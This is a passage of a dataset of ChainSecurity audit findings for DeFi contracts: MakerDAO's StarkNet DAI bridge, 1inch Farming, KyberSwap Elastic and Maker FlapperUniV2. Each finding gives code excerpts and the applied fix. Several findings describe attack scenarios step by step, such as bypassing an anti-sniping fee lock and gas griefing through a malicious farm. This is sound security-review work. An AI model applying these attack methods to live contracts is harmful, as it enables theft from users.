caller. All holders of L2 DAI must be aware that this is very dangerous and means that anyone crafting an external transaction to the network can transfer their DAI using this approval. MakerDAO - StarkNet-DAI-Bridge - 15 DesignMediumVersion1CodeCorrected \f A user could specify the l2_dai contract as the recipient of the funds on deposit. Since the L1 call would succeed while the L2 call to the l1_handler would fail, the cross-layer message would remain unconsumed. The code does the following checks now on L1: to != 0 to ensure that the address is non-zero. to != l2Dai to prevent a failing mint. to < SN_PRIME to prevent a possible StarkNet overflow. All functions related to approvals in the l2 DAI contract now forbid approving the zero-address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.6 Relay Parameter Mismatch", "body": " The L1GovernanceRelay is used to send messages to the L2 GovernanceRelay to execute spells. However, the parameters sent by the L1 contract and the parameters the L2 contract receives do not match. Ultimately, governance spells cannot be relayed to L2. More specifically, the L1GovernanceRelay sends a message to L2 as follows: uint256[] memory payload = new uint256[](2); payload[0] = to; payload[1] = selector; StarkNetLike(starkNet).sendMessageToL2(l2GovernanceRelay, RELAY_SELECTOR, payload); However, the L2 side of the governance relay consumes the message as follows: @l1_handler func relay{ syscall_ptr : felt*, pedersen_ptr : HashBuiltin*, range_check_ptr }( from_address : felt, target : felt ): let (l1_governance_relay) = _l1_governance_relay.read() assert l1_governance_relay = from_address let (calldata : felt*) = alloc() delegate_call(target, EXECUTE_SELECTOR, 0, calldata) return () end The arguments of the L1 handler should consist of the from_address and payload. However, the payload created on L1 has two elements. That ultimately lets the execution of a governance spell fail. MakerDAO - StarkNet-DAI-Bridge - 16 CorrectnessMediumVersion1CodeCorrected \f The unused selector was removed from the payload, the payload now contains the spell only. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.7 Unlimited Approvals and the Range of Uint256", "body": " DAI on L1 supports unlimited approvals using uint256(-1) as magic value. When an approval for this magic value is given, the spender can spend the funds of the token holder without the allowance being reduced. Similarly the DAI contract in cairo supports an unlimited approval using a different magic number. As Uint256 work differently in cairo, it's possible to define a magic value outside the actual range of Uint256. In cairo, a Uint256 is represented by a struct containing two felt members: struct Uint256: # The low 128 bits of the value. member low : felt # The high 128 bits of the value. member high : felt end However note that a felt can store more than 128 bits, so a Uint256 represented by such a struct may contain a value exceeding the max uint256 value. The code of the DAI cairo contract, however, takes advantage of this special property of the Uint256 type and defines the magic number for the unlimited approval as: const MAX_SPLIT = 2**128 let MAX = Uint256(low=MAX_SPLIT, high=MAX_SPLIT) Note that the common library for Uint256 offers a function uint256_check which checks if the given Uint256 is actually valid. The code of the DAI cairo contract uses this function to check whether amounts regarding balances are valid. In contrast, the code is generally not using uint256_check() when handling or checking approvals. That results in following potentially intended and/or strange behaviour: Function approve can be used to give allowance for a valid amount, the magic number or an invalid uint256 value. Function increase_allowance does not work on such allowances due to the carry over. However, increasing with bad input values could decrease the allowance (in a similar fashion as described in L2 DAI allows stealing). Function decrease_allowance works. However, note that decreasing to the magic number results in unlimited approval so that allowance has been increased instead of decreased. Concluding, the selection of the magic value outside the valid range for Uint256 could lead to unexpected and undocumented behaviour due to an implied lack of Uint256 validity checks. Furthermore, the deviation from L1-DAI's magic value may confuse users. MAX_SPLIT has been renamed to ALL_ONES and redefined to 2**128-1. Also, uint256_check() is called now in the functions approve, increase_allowance and decrease_allowance. Since the inputs are always validated and allowance cannot be out of the valid Uint256 range, the unintended behaviour cannot occur anymore. MakerDAO - StarkNet-DAI-Bridge - 17 DesignMediumVersion1CodeCorrected \f6.8 ERC-20 Functions Have No Return Values EIP-20 specifies that for example transfer has a boolean return value. However, L2 DAI does not return anything. Return values have been implemented for the ERC-20 functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.9 Inconsistent Version Pragma", "body": " Different to the L1Escrow contract, the L1DAIBridge and the L1GovernanceRelay contract feature following version pragma: This allows the contracts to be compiled with any Solidity version >= 0.7.6 including more recent major version which may feature changes in the syntax. The Solidity documentation states: Source files can (and should) be annotated with a version pragma to reject compilation with future compiler versions that might introduce incompatible changes. For https://docs.soliditylang.org/en/develop/layout-of-source-files.html#version-pragma information, please more refer to: The pragmas have been changed to: pragma solidity ^0.7.6; ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.10 Inefficiency in Reading Allowances", "body": " In function burn of the DAI cairo contract the allowance is always read. However, it is only used if check_allowances == 1 is true. Thus, the efficiency of the functionality could be improved. Similarly, that is the case for transferFrom(). In the updated code wards no longer have special privileges in dai.burn(). Due to the changed code, the issue described above no longer applies. MakerDAO - StarkNet-DAI-Bridge - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.11 Lack of L1-address Sanity Checks on L2 L1 addresses on L2 are of felt type. However, that could ultimately lead to bad user-input on L2 when passing L1 addresses since L1 addresses have 160 bits which is less than the number of bits the felt type is represented with. For example, in function withdraw() of the L2 bridge contract a user passes an L1 address as felt which could to a bad address being passed to L1. A check has been added to send_finalize_withdraw() with ensures that the destination is a valid L1 address. This function is used by both, withdraw and finalize_force_withdrawal. In the initial round of fixes the assert_l1_address function contained unnecessary declarations of local syscall_ptr and local pedersen_ptr which now have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.12 Unused Code", "body": " The L1DAIBridge contract defines the struct SplitUint256. However, it remains unused. The unused struct was removed. MakerDAO - StarkNet-DAI-Bridge - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "5.1 Inefficient Transfer Hook", "body": " The internal function ERC20Farmable.beforeTokenTransfer is called before any transfer logic is executed. Assuming that user A is farming on n and user B is farming on m farms without any overlap in the sets, then, m+n addresses are loaded from storage at the very beginning, m+n external calls are made, m+n storage writes to corrections, and more reads and writes. Furthermore, m and n are not limited. A token transfer could end up being very expensive without the user noticing. Hence, token transfers could easily fail by running out of gas. Risk accepted: 1inch accepts the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "5.2 Insufficient Documentation", "body": " 1inch - Farming - 9 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedAcknowledgedCodePartiallyCorrectedDesignLowVersion1RiskAcceptedDesignLowVersion1Acknowledged \fDocumentation helps users, developers and others to understand a system in a shorter amount of time. Especially if the code is to be used as a library by other developers, it could help these to prevent errors. Otherwise, no assumptions on the code and its behavior can be made. Currently, code is undocumented. Furthermore, no behavioral description is provided on what to expect from a function call. For example, it is undocumented how the libraries handle errors in external contracts. Acknowledged: 1inch replied: Will be improved in the future. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "5.3 Lack of Events", "body": " Typically, events help track the state of the smart contract. Some functions, such as startFarming, emit events while others do not emit any event. Some examples lacking event emissions are: ERC20Farmable.farm() ERC20Farmable.claim() and FarmingPool.claim() ERC20Farmable.exit() Public checkpointing functions BaseFarm.setDistributor() Code partially corrected: An event has been added only for setDistributor(). 1inch - Farming - 10 DesignLowVersion1CodePartiallyCorrected \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 1 0 7 -Severity Findings -Severity Findings Gas Griefing -Severity Findings -Severity Findings Commented Code Farms Rely on Token to Checkpoint Gas Inefficiencies Ineffective period Check Introduction of Batched Operations Usage as a Library farmingCheckpoint() Has No Functionality ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.1 Gas Griefing", "body": " ERC20Farmable calls farm contracts in every call to farmedPerToken() to query information with IFarm.farmedSinceCheckpointScaled() on how many rewards have been released so far. Even though that call is handled with a try/catch block to prevent the target contract from reverting maliciously, it is still possible that the farm consumes all gas. 1. A malicious farm honeypots users into joining. 2. The malicious farm contract is upgraded through an upgradeability pattern. 3. Every call to farmedSinceCheckpointScaled() consumes all gas. Now, following is not possible: any ERC20Farmable transfer from an affected user any ERC20Farmable transfer to an affected user exiting the malicious farm Claiming from the malicious farm Ultimately, tokens will be locked for affected users. 1inch - Farming - 11 CriticalHighCodeCorrectedMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityHighVersion1CodeCorrected \fThe call to IFarm.famedSinceCheckpointScaled() now has a gas limit. If the gas limit of 200000 is exceeded, the failure is handled by behaving equivalently to a revert in the farm contract. Additionally, the static-call was wrapped inside an assembly block to prevent the return data bomb issue in the Solidity compiler (documented here: https://github.com/ethereum/solidity/issues/12306). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.2 Commented Code", "body": " ERC20Farmable._getFarmedSinceCheckpointscaled contains commented code. Removing the code could help keep the code cleaner such that it is easier to understand. Commented out code has been replaced by calls to on onError(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.3 Farms Rely on Token to Checkpoint", "body": " Farm._updateFarmingState() calls checkpoint() of an external ERC20Farmable contract. Then, the ERC20Farmable contract calls Farm.farmingCheckpoint(). However, a malicious ERC20Farmable to Farm.farmingCheckpoint(). Hence, the farm checkpoints could remain without updates. implementation purposefully could leave call the out farmingCheckpoint has been removed from the farm contracts. Hence, there is no need to call it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.4 Gas Inefficiencies", "body": " In multiple locations code could be optimized to reduce gas cost. Some examples are: Function UserAccounting.checkpoint() loads the stored update time and the store farmed per token value from storage. However, to correctly call that function it is required to first call farmedPerToken() which also loads the same variable from storage. Hence, storage reads could be prevented. In function FarmingPool.exit() balanceOf is called twice. However, the second time it is called it is evident that it must be zero. _beforeTokenTransfer could exit early for self-transfers. Casting period to uint40 when the input could have been restricted to be uint40 in startFarming. The overall gas consumption has been optimized. 1inch - Farming - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.5 Ineffective period Check FarmAccounting.startFarming() contains following code: require(period < 2**40, \"FA: Period too large\"); require(amount < 2**176, \"FA: Amount too large\"); (info.finished, info.duration, info.reward) = (uint40(block.timestamp + period), uint40(period), uint176(amount)); However, the first check is insufficient for uint40(block.timestamp + period) not to overflow. The precondition was changed to: require(period + block.timestamp <= 2**40, \"FA: Period too large\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.6 Introduction of Batched Operations", "body": " Assume a user participates in 10 farms for a farmable token. To claim all rewards the user needs to call claim() multiple times. Gas consumption could be reduced by allowing batched operations for ERC20Farmable. Following batched operations have been introduced: claimAll: claims on all farms quitAll: quits all farms ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.7 Usage as a Library", "body": " ERC20Farmable is intended to be used as a library for farmable ERC-20 tokens. As such, some functions may require to be overridden so their functionality can be enhanced. However, no function in the supplied codebase has a virtual modifier, and so child contracts cannot override any method, meaning code that inherits from ERC20Farmable cannot extend its core functionality. On the other hand, for some functions it could make sense to disallow overriding. An example could be farmedPerToken() which specifies the distribution among token holders. Allowing developers to modify its behaviour could lead to subtle issues that may not be caught during testing. Assuming there is a use-case of changing the semantics of computing the farmed amount, code would require changes in several functions. First, farmed() would require changes. Second, claim() would require changes as it calls UserAccounting.farmed() instead of farmed. Hence, wrapping functionality from libraries in the abstract ERC20Farmable and using the wrapper functions internally could ease the overriding process and prevent errors. 1inch - Farming - 13 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fFurthermore, it could be that some functions should not be callable by any child contracts, and there are certain state variables that should not be set in child contracts. For example, farmTotalSupply is a public variable, querying that value is helpful for users interacting with the contract. However, developers could unknowingly interleave writes to that variable in between updates to it in the internal callflow which would lead to inconsistent state. In that case, it could be helpful to have a public getter while restricting writes in child contracts. To summarize, 1inch provides a library for staking. Since documentation is also part of writing an application library, it would be helpful to explicitly document the overridability and the visibility of functions and variables, as well as their intended use. The code has been adapted and functions have been marked as virtual. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.8 farmingCheckpoint() Has No Functionality", "body": " FarmAccounting.farmingCheckpoint() is empty and has no functionality. The calls to it further complicate the code. Moreover, replacing farm accounting logic through overriding is not easily possible. Additionally, Farm._updateFarmingState() lacks checkpointing for a farm's state. The function has been removed. 1inch - Farming - 14 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "7.1 Calls to Farms", "body": " Note that the system interacts with untrusted farms and untrusted contracts. Changes implemented or functionality in contracts inheriting from ERC20Farmable should ensure that there is no possibility of re-entering the ERC20Farmable contract when interacting with untrusted contracts since that could lead to possible unwanted modifications of farming state for other farms. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "7.2 farmedSinceCheckpointScaled() Decimals", "body": " Note that farms may run into issues if a Farm's farmedSinceCheckpointScaled() does not return a value that is in the base of 10**(18 + rewardToken.decimals()): Assume the call to farmedSinceCheckpointScaled() returns a value in the base of 10**x. Then, the call to farmedPerToken will return something in the base of 10**(x-ERC20Farmable.decimals()) which implies that corrections is in base of 10**x. In farmed, the subtraction arguments will be both in base 10**x. However, the result of the division will be in the base of 10**(x-18). Using Farm of 1inch, will ensure that x==18+rewardToken.decimals(). However, if that is not the case, errors could occur. 1inch - Farming - 15 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-farming/"}, {"title": "6.1 Bypassing Antisnipping Protection", "body": " The AntisnippingManager implements logic to protect against so-called liquidity-snipping (Just-in-Time Liquidity) attacks to prevent attackers from adding much liquidity before a swap and removing it right afterwards to collect most of the fees while not being exposed to LP risks. Kyber Network removes the economic incentive of such an attack by locking fees for vestingPeriod which means an immediate withdrawal of liquidity should set the collected fees to zero. Note, that AntiSnipAttack protection only comes in play if feeGrowthInsideLast of the position manager and the feeGrowthInsideLast of the position are not equal: if (feeGrowthInsideLast != pos.feeGrowthInsideLast) { .... (additionalRTokenOwed, feesBurnable) = AntiSnipAttack.update( Kyber Network - KyberSwap Elastic - 12 CriticalHighCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedSecurityHighVersion1CodeCorrected \f ... } Also, feesBurnable can only be non-zero if liquidity is removed: if (isAddLiquidity) { .... } else if (_self.feesLocked > 0) { feesBurnable = (_self.feesLocked * liquidityDelta) / uint256(currentLiquidity); _self.feesLocked -= feesBurnable; } Thus, the following attack is possible: 1. Attacker sees a huge swap and mints an enormous position 2. Swap occurs. 3. An attacker adds a small amount of liquidity. The position's feeGrowthInsideLast is updated. However, rTokens are now locked. 4. An attacker removes all his liquidity which does not enter the AntiSnipAttack code since there was no fee growth. Liquidity is withdrawn and rTokens remain locked. 5. After vestingPeriod has passed the attacker can withdraw the newly generated fees. Even though the attacker does not immediately withdraw the fees, his liquidity came and went immediately while generating a temporarily locked profit for the attacker. In version 3 of the code, the Antisnipping protection logic is triggered on every call of removeLiquidity function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.2 Function Pool.burnRTokens Return Values", "body": " Function burnRTokens of Pool contract has following definition: /// @return qty0 token0 quantity sent to the caller for burnt reinvestment tokens /// @return qty1 token1 quantity sent to the caller for burnt reinvestment tokens function burnRTokens(uint256 qty, bool isLogicalBurn) external returns (uint256 qty0, uint256 qty1); However the qty0 and qty1 value are not assigned in the implementation of this function. Thus 0 values will be returned instead. The position managers rely on these return values as they implement slippage protection as follows: (amount0, amount1) = pool.burnRTokens(rTokenQty, false); require(amount0 >= params.amount0Min && amount1 >= params.amount1Min, 'Low return amounts'); Ultimately, the transaction will revert if amount0Min > 0 && amount1Min >0 holds. Kyber Network - KyberSwap Elastic - 13 CorrectnessHighVersion1CodeCorrected \f The values are now properly assigned to the return variables. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.3 Locked Funds Remain Locked After ", "body": " vestingPeriod Update The AntiSnipAttackPositionManager prevents profitable snipping attacks by locking rewards for a certain in amount of stored AntiSnipAttackPositionManager:antiSnipAttack[tokenId].feesLocked. However, if vestingPeriod is set to zero, feesLocked remains locked. in a position with tokenId are time. The locked fees Assume the following scenario: 1. vestingPeriod = 1 day 2. User mints a position. 3. After 12 hours, the User adds liquidity to a position. Assume that 1 rToken in fees has been earned totally while half of it is locked. 4. vestingPeriod set to 0. 5. Whenever the user performs a position-modifying action, the following code gets executed. if (vestingPeriod == 0) return (feesSinceLastAction, 0); 6. Only the newly accumulated fees become claimable while the locked fees remain locked. Hence, ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "0.5 rTokens will be unclaimable.", "body": " Thus, changes to the vestingPeriod can potentially allow users withdrawal of more fees, than it was intended. Current AntiSnipAttackPositionManager and AntiSnipAttack library rely on constant vestingPeriod. To conclude, the AntiSnipAttack library should be aware that the vesting period for fees could change. If vestingPeriod is zero and fees are still locked, feesLocked is added to the claimable fees and feesLocked is set to 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.4 Broken/Partial ERC165 Support", "body": " The ERC-721 specifies that the ERC-165 interface must be implemented which defines a standard method to publish and detect what interfaces a smart contract implements. function supportsInterface(bytes4 interfaceID) external view returns (bool); The more derived ERC-721 contracts of Kyber Network do not overwrite this function. Hence, querying the support of the additionally implemented interfaces through supportsInterface() will return false. Kyber Network - KyberSwap Elastic - 14 CorrectnessHighVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f The issue has been addressed. Function supportsInterface will return true for the following interfaces. ERC721Enumerable IERC721Permit Thus, they are considered as supported by the contract according to ERC-165. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.5 Function Pool.unlockPool Reentrancy", "body": " Pools are created in a locked state and need to be unlocked first. The unlockPool function first removes the lock and then perform the mintCallback. The _initPoolStorage is called after the callback. This is an important function that finalizes the setup of storage for the pool. This mintCallback after unlock and before _initPoolStorage can be misused by the malicious parties, since all pool functions will be available during the call. Attacker can potentially misconfigure or abuse intermediate state inconsistency for its own profit. In addition, the mintCallback is usually performed to whitelisted position managers, while in this case any contract can be called. The callback has been removed for unlocking pools. Now, funds have to be transferred to the pool before unlocking the pool. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.6 Function ERC721Permit.permit Payable", "body": " The function permit has a payable modifier while abstract class ERC721Permit does not have any other functions that can withdraw funds. The BasePositionManager that inherits this class has a separate receive function for ether transfers. Hence, the payable modifier could be removed from permit. The payable modifier was removed from the permit function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.7 Function Pool.burnRTokens Natspec", "body": " The burnRTokens does not describe the bool isLogicalBurn argument with a @param tag. This argument greatly influences the result of burn and thus should be described. Specification changed: Kyber Network - KyberSwap Elastic - 15 SecurityMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChanged \fisLogicalBurn is now documented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.8 Function Pool.burnRTokens Potential", "body": " Reentrancy Certain ERC20 tokens perform callback on token transfers. For example, ERC777. Performing _burn after transfers is then can be recognized as a reentrancy pattern. While the burnRTokens and other Pool contract functions have reentrancy lock protection, there is possibility, that external contracts called during the transfer callback, might misinterpret the State of the Pool contract. For example, the reinvestL / totalSupply ratio will be off during this callback. if (tokenQty > 0) token0.safeTransfer(msg.sender, tokenQty); tokenQty = QtyDeltaMath.getQty1FromBurnRTokens(sqrtP, deltaL); if (tokenQty > 0) token1.safeTransfer(msg.sender, tokenQty); _burn(msg.sender, _qty); The transfers have been moved to the very end of the function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.9 Function SwapMath.calcFinalPrice", "body": " Rounding Down The calcFinalPrice calculates the final price for swaps, when the used amount hits the specified amount limit. Depending on the starting price and direction of price movement during the swap, the price needs to be rounded either up or down. If isToken0 == false && isExactInput == true, sqrtP increases and thus price needs to be rounded down, in order not to 'overshoot' the target price. But the tmp component of the final price is computed with rounding up division operator: uint256 tmp = FullMath.mulDivCeiling(absDelta, C.TWO_POW_96, currentSqrtP); return FullMath.mulDivFloor(liquidity + tmp, currentSqrtP, liquidity + deltaL); Thus the returned value with certain chance will be more than intended. The code has been adjusted such that now division is rounding down. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.10 Gas Inefficiency in insert()", "body": " Kyber Network - KyberSwap Elastic - 16 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fInsertions into the linked list through LinkedList:insert() occur only in internal function PoolTicksState:_updateTickList. In insert() the following storage read occurs: However, that value corresponds to the last nextTick in _updateTickList. Thus, storage reads could be reduced by passing an additional argument to insert. insert now takes nextTick as an additional argument, reducing the number of storage reads. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.11 Pool swap Max Tick Distance", "body": " In the main loop of the swap function, to ensure that the tickOutside value is interpreted correctly the currentTick variable needs to be adjusted if the swap moves the price down: swapData.currentTick = willUpTick ? tempNextTick : tempNextTick - 1; the next On MAX_TICK_DISTANCE == 487: iteration of the loop, the new target tick distance should not exceed the int24 tempNextTick = swapData.nextTick; if (willUpTick && tempNextTick > C.MAX_TICK_DISTANCE + swapData.currentTick) { tempNextTick = swapData.currentTick + C.MAX_TICK_DISTANCE; } else if (!willUpTick && tempNextTick < swapData.currentTick - C.MAX_TICK_DISTANCE) { tempNextTick = swapData.currentTick - C.MAX_TICK_DISTANCE; } If willUpTick == false and tempNextTick - 1, then the tempNextTick will have at most 488 ticks between the matching tick for sqrtP. Thus, desired Dx*fee / x < 0.0005 ratio can be violated. The MAX_TICK_DISTANCE was changed to 480. This way the desired Dx*fee / x < 0.0005 ratio will be preserved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.12 Position Manager Storage Access", "body": " AntiSnipAttackPositionManager and BasePositionManager often read same fields inside pos storage variable multiple times during the function execution. Since this struct type variable is defined as a storage one, this will lead to repeated reads from the same work. More efficient approach would be utilization of in memory variables. Position storage pos = _positions[params.tokenId]; Kyber Network - KyberSwap Elastic - 17 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fIn version 3 of the code the gas is saved by utilizing memory variable for data access during the execution. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.13 Solidity Compiler Pragma", "body": " The smart contracts inside the repository utilize different compiler pragmas: pragma solidity >=0.5.0; pragma solidity >=0.8.0; pragma solidity ^0.8.0; pragma solidity >=0.8.0 <0.9.0; pragma solidity 0.8.9; Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. In addition, fixed pragma ensures that the testing and deployment performed on code that was compiled by the same compiler version. Core and periphery contracts use now pragma solidity 0.8.9 while libraries use >=0.8.0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.14 Specification Mismatches in SwapMath", "body": " Some mismatches between the specifications and code occur in the SwapMath library. Some examples are: The Core Library Swap Math documentation of calcReachAmount() distinguishes four cases. However, case 1 & 4 and case 2 & 3 are identical. That mismatches the technical documentation of the swap and the implementation. The technical documentation does not specify that the absolute value of usedAmount (delta x tmp) is to be used for the calculation of deltaL. The technical documentation differs in the mathematical formula for calculating returnedAmount. Specification changed: The specification now better reflects the implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.15 flash() Sends Fees to feeTo", "body": " The natspec documentation of flash() in IPoolActions specifies the following: Kyber Network - KyberSwap Elastic - 18 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1Speci\ufb01cationChanged \f/// @dev Fees collected are distributed to all rToken holders /// since no rTokens are minted from it However, the fees are transferred to the feeTo address stored in the Factory contract. Specification changed: The natspec specification has changed to specify that feeTo receives the fees from the flash loan. Kyber Network - KyberSwap Elastic - 19 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "7.1 Pools for Tokens With Multiple Addresses", "body": " The factory creates pools for two token address. It reverts if either the two addresses are identical or the pool has been already initialized for the token pair and the fee. However, some tokens (e.g. TUSD) have two addresses for the token. That allows for the creation of TUSD / TUSD pools, and multiple TUSD / other token pools with the same fee. Kyber Network - KyberSwap Elastic - 20 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-elastic-legacy/"}, {"title": "6.1 Pull DAI From Vow All at Once", "body": " During a kick() call, two operations (a swap and a mint) on the UniswapV2 pair are executed consecutively. For each operation, an external call to the vat and daiJoin are invoked beforehand to pull the required DAI. However, the pool state after the swap can be precomputed, which means the total amount of DAI needed can be precomputed as well. It might be worth to do this to reduce the gas used and hence make the transactions slightly cheaper. CS-MUF-003 The amount of DAI is now precomputed and pulled once. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-flapperuniv2/"}, {"title": "6.2 Incorrect Comment", "body": " The comment 997 is the Uniswap LP fee in _getAmountOut() is incorrect. 99.7% represents the amount after deducting the fee, and the fee is 0.3%. CS-MUF-002 function _getAmountOut(uint256 amtIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256 amtOut) { uint256 _amtInFee = amtIn * 997; // 997 is the Uniswap LP fee amtOut = _amtInFee * reserveOut / (reserveIn * 1000 + _amtInFee); } Specification changed: The incorrect comment has been removed. MakerDAO - FlapperUniV2 - 12 CriticalHighMediumLowCodeCorrectedDesignLowVersion1CodeCorrectedInformationalVersion1Speci\ufb01cationChanged \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-flapperuniv2/"}, {"title": "7.1 Revert Reason When FlapperMom Stops", "body": " Flapper FlapperMom can inhibit FlapperUniV2 in an emergency. It does so by setting the minimum time between two executions of kick() to type.max(uint256). kick() will then revert due to the addition overflow: CS-MUF-001 require(block.timestamp >= zzz + hop, \"FlapperUniV2/kicked-too-soon\"); Except when kick() has never been executed before and zzz is still equal to 0, the require statement will cause the revert and emit the error MessageChannel. MakerDAO - FlapperUniV2 - 13 InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-flapperuniv2/"}, {"title": "8.1 More Than bump Amount of DAI Used", "body": " The Vow contract has been designed and documented with the original Flapper auctioning surplus DAI for MKR tokens in mind. // Surplus auction function flap() external returns (uint id) { require(vat.dai(address(this)) >= add(add(vat.sin(address(this)), bump), hump), \"Vow/insufficient-surplus\"); require(sub(sub(vat.sin(address(this)), Sin), Ash) == 0, \"Vow/debt-not-zero\"); id = flapper.kick(bump, 0); } By design, the new FlapperUniV2 may utilize up to 2.2 times the bump amount. The Vow contract may not anticipate the Flapper using more than the bump amount of DAI. Depending on the values set for bump and hump, this could result in the Vow contract unexpectedly holding less than hump (surplus buffer) amount of DAI after a call to kick(), or a call to kick() unexpectedly reverting if the required amount of DAI is not available. This behavior is now described in the README. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-flapperuniv2/"}, {"title": "8.2 Unexpected Pair State", "body": " Generally it is assumed that the free market ensures the pair represents the current market rate. However this can not be relied on as the state of the pair might be changed just before calling kick(). There are various possibilities why the pair could be in a state not matching the current market rate. Notably e.g. in case there is an unaccounted donation of tokens in the 